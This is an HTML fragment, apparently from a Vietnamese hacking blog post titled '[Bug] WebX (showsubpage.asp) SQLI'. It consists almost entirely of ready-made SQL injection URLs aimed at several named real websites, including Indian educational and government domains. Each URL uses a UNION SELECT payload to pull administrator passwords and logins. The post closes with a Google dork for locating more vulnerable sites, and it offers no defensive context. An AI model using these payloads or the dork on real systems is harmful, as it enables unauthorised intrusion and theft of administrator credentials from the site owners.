 <a href="http://www.ashirbad.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.ashirbad.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.ashirbad.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.ashirbad.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://d7561529.u41.c7.ixwebhosting.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://d7561529.u41.c7.ixwebhosting.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.slna-iwmp-assam.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.slna-iwmp-assam.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.erdf.edu.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.erdf.edu.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.rist.ac.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.rist.ac.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.ashirbad.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.ashirbad.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://d7091642.u41.c7.ixwebhosting.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://d7091642.u41.c7.ixwebhosting.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.slna-iwmp-assam.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.slna-iwmp-assam.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.slna-iwmp-assam.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://www.slna-iwmp-assam.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />   </div>
<div class="MsoNormal" style="font-family: Arial,Helvetica,sans-serif;">
 <a href="http://www.rist.ac.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">www.rist.ac.in/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a><br />  </div>
<a href="http://d7091642.u41.c7.ixwebhosting.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1">http://d7091642.u41.c7.ixwebhosting.com/showsubpage.asp?subid=null+and+1=2+union+select+1,2,3,4,5,pass,login,8,9,10,11,12,13,14,15,16,17+from+admin+where+id=1</a>

[Bug] WebX (showsubpage.asp) SQLI

1. Google dork: inurl:"showsubpage.asp" "Powered By: WebX" 2. Khai thác - Thêm Query ...

Mr.Quay's Blog